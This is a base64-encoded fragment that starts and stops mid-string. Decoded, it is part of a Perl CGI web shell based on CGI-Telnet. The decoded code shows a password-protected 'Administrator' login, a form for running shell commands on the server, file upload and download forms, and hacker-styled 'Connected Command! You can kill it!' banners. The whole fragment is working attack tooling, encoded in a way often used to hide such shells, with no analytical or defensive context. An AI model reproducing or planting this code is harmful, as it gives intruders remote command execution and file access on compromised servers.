gdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgew0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuDQogICAgcmV0dXJuOw0KICB9DQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsNCi8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4NCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7DQogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsNCiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsNCiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSB7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgIH0NCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsNCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7DQogICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsNCiAgfSBlbHNlIHsNCgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQoJdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsNCiAgfQ0KfQ0KPC9zY3JpcHQ+DQo8L3ByZT4NCg0KPGZvbnQgc3R5bGU9ImZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsiPkNvcHlyaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhIDwvZm9udD48YnI+PGJyPg0KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+DQo8dGJvZHk+PHRyPg0KPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJodHRwOi8vZGwuZHJvcGJveC5jb20vdS8xMDg2MDA1MS9pbWFnZXMvbWF0cmFuLmdpZiI+PHAgaWQ9ImhhY2siIHN0eWxlPSJtYXJnaW4tbGVmdDogM3B4OyI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBUcnlpbmcgY29ubmVjdCB0byBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PC9mb250PiBDaGVja2luZyBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD4gPGJyPg0KDQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KDQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD5cJCBDb25uZWN0ZWQgQ29tbWFuZCEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+DQo8L3RyPg0KPC90Ym9keT48L3RhYmxlPg0KPGJyPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsNClR5cGluZ1RleHQucnVuQWxsKCk7DQoNCjwvc2NyaXB0Pg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7DQoJbXkgJHRleHQgPSBzaGlmdDsNCgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsNCgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7DQoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii4kcGF0aC4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4NCg0KUGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4NClBhc3N3b3JkOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeycnfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOw0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjUwIiBuYW1lPSJjIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQoNCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPg0KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCg0KPC9mb3JtPg0KDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KDQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5w